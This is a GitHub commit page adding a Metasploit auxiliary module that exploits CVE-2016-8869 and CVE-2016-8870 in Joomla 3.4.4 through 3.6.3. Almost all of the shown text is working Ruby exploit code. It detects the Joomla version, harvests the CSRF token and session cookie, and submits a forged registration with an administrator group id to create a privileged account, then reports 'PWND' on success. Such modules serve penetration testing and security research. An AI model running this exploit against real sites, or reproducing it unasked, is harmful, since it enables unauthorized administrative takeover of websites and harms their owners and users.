Skip to content

Commit a651985

Browse files
committed
Land rapid7#7498, Joomla account creation and privesc
2 parents 1cb68c6 + f414db5 commit a651985

File tree

1 file changed

+148
-0
lines changed

1 file changed

+148
-0
lines changed
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Exploit::Remote::HTTP::Joomla
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'Joomla Account Creation and Privilege Escalation',
13+
'Description' => %q{
14+
This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
15+
through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
16+
},
17+
'References' =>
18+
[
19+
['CVE', '2016-8869'],
20+
['CVE', '2016-8870'],
21+
['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'],
22+
['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'],
23+
['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2']
24+
],
25+
'Author' =>
26+
[
27+
'Fabio Pires <fp[at]integrity.pt>', # module creation and privilege escalation
28+
'Filipe Reis <fr[at]integrity.pt>', # module creation and privilege escalation
29+
'Vitor Oliveira <vo[at]integrity.pt>', # module creation and privilege escalation
30+
],
31+
'License' => MSF_LICENSE,
32+
'DisclosureDate' => 'Oct 25 2016'
33+
))
34+
35+
register_options(
36+
[
37+
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']),
38+
OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']),
39+
OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']),
40+
OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', '[email protected]'])
41+
]
42+
)
43+
end
44+
45+
def check
46+
res = send_request_cgi('uri' => target_uri.path)
47+
48+
unless res
49+
print_error("Connection timed out")
50+
return Exploit::CheckCode::Unknown
51+
end
52+
53+
online = joomla_and_online?
54+
unless online
55+
print_error("Unable to detect joomla on #{target_uri.path}")
56+
return Exploit::CheckCode::Safe
57+
end
58+
59+
version = Gem::Version.new(joomla_version)
60+
if version
61+
print_status("Detected Joomla version #{joomla_version}")
62+
return Exploit::CheckCode::Appears if version.between?(Gem::Version.new('3.4.4'), Gem::Version.new('3.6.3'))
63+
end
64+
65+
return Exploit::CheckCode::Detected if online
66+
end
67+
68+
def get_csrf(hidden_fields)
69+
hidden_list = hidden_fields
70+
hidden_list.each do |fields|
71+
fields.each do |item|
72+
if item[0].length == 32 && item[1] == '1'
73+
return item[0]
74+
end
75+
end
76+
end
77+
end
78+
79+
def run
80+
if check == Exploit::CheckCode::Safe
81+
print_error('Target seems safe, so we will not continue!')
82+
return
83+
end
84+
85+
print_status("Trying to create the user!")
86+
res = send_request_cgi(
87+
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
88+
'vars_get' => {
89+
'view' => 'login'
90+
}
91+
)
92+
93+
if res && res.code == 200
94+
cookie = res.get_cookies
95+
csrf = get_csrf(res.get_hidden_inputs)
96+
97+
if csrf.length != 32 && cookie.split(/=/).length != 2
98+
print_error('Could not find csrf or cookie!')
99+
return
100+
end
101+
else
102+
print_error('Could not find Login Page!')
103+
return
104+
end
105+
106+
mime = Rex::MIME::Message.new
107+
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"')
108+
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"')
109+
mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"')
110+
mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"')
111+
mime.add_part(datastore['PASSWORD'] , nil, nil, 'form-data; name="user[password2]"')
112+
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"')
113+
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"')
114+
mime.add_part('com_users', nil, nil, 'form-data; name="option"')
115+
mime.add_part('user.register', nil, nil, 'form-data; name="task"')
116+
mime.add_part('1', nil, nil, 'form-data; name="' + csrf +'"')
117+
118+
res = send_request_cgi(
119+
'method' => 'POST',
120+
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
121+
'cookie' => cookie,
122+
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
123+
'data' => mime.to_s
124+
)
125+
126+
if res && res.code == 200
127+
print_good("PWND - Your user has been created")
128+
print_status("\tUsername: " + datastore['USERNAME'])
129+
print_status("\tPassword: " + datastore['PASSWORD'])
130+
print_status("\tEmail: " + datastore['EMAIL'])
131+
elsif res.redirect?
132+
res = send_request_cgi!(
133+
'uri' => res.redirection.path,
134+
'method' => 'GET',
135+
'cookie' => cookie
136+
)
137+
138+
print_error("There was an issue, but the user could have been created.")
139+
140+
parsed_data = res.get_html_document
141+
parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|
142+
print_error("\t" + alert_msg.text)
143+
end
144+
else
145+
print_error("This host may not be vulnerable.")
146+
end
147+
end
148+
end

0 commit comments

Comments
 (0)